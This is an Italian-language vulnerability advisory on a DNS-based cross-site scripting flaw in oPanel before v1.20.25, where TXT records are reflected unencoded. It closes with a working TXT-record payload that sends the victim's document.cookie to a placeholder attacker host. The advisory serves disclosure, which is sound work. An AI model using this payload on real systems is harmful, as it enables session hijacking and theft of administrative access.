
oPanel Cross-Site Scripting (XSS) basato su DNS e dirottamento di sessione
Esiste una vulnerabilità di Cross-Site Scripting (XSS) in oPanel (versioni precedenti alla v1.20.25) a causa della gestione e sanificazione inadeguata delle risposte DNS. Quando il pannello esegue una query DNS (ad esempio, recuperando informazioni sul dominio, verificando la propagazione DNS o interrogando record TXT) verso un nameserver controllato dall'attaccante, riflette i record DNS restituiti direttamente nell'interfaccia web senza una codifica HTML adeguata.
Un attaccante può sfruttare questa vulnerabilità configurando un server DNS maligno che risponde alle interrogazioni di record TXT con un payload JavaScript dannoso. Quando un utente autenticato di oPanel (ad esempio un amministratore) visualizza la pagina in cui viene visualizzata la risposta DNS, il payload viene eseguito nel contesto della sessione del suo browser.
Lo sfruttamento riuscito consente a un attaccante di eseguire JavaScript arbitrario nel browser della vittima. Come dimostrato nel Proof of Concept, ciò può essere sfruttato per rubare cookie di autenticazione sensibili (document.cookie), portando al completo dirottamento della sessione e all'accesso amministrativo non autorizzato all'ambiente oPanel.
Lo sfruttamento richiede che l'attaccante configuri un server DNS malevolo e un listener HTTP per catturare i dati esfiltrati.
L'attaccante esegue un server DNS fasullo sulla porta UDP 53 configurato per rispondere a qualsiasi query TXT con un payload XSS.
Payload del record TXT malevolo:
<script>new Image().src='http://<ATTACKER_IP>:<HTTP_PORT>/log?cookie='+document.cookie;</script>